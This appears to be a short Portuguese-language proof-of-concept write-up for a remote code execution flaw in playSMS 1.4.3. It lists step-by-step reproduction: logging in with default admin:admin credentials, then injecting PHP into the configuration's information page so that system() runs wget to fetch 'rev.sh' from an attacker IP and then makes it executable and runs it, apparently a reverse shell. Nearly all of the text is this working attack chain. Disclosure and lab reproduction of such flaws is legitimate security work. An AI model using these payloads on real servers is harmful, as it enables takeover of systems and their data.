CVE-playsms

Existe uma vulnerabilidade no playsms 1.4.3 que permite a potenciais atacantes executar código remotamente.

como reproduzir RCE (shell):

https://playsms.org/

• docker pull playsms/playsms:1.4.3
• docker run -d -p 80:80 playsms/playsms
• faça login usando admin:admin
• http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• hospede o arquivo bash malicioso na máquina do atacante
• baixe o arquivo malicioso usando wget na máquina
• insira <?php system("/usr/bin/wget http://<attackerIP>/rev.sh"); echo "done" ?>
• salve as informações (elas desaparecerão da caixa de entrada, mas ainda funcionarão)
• http://127.0.0.1/index.php?app=main&inc=core_welcome
• recarregue a página http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• chmod + execute o script shell - <?php system("chmod +x rev.sh && ./rev.sh") ?>)
• salve e visite * http://127.0.0.1/index.php?app=main&inc=core_welcome para obter execução de código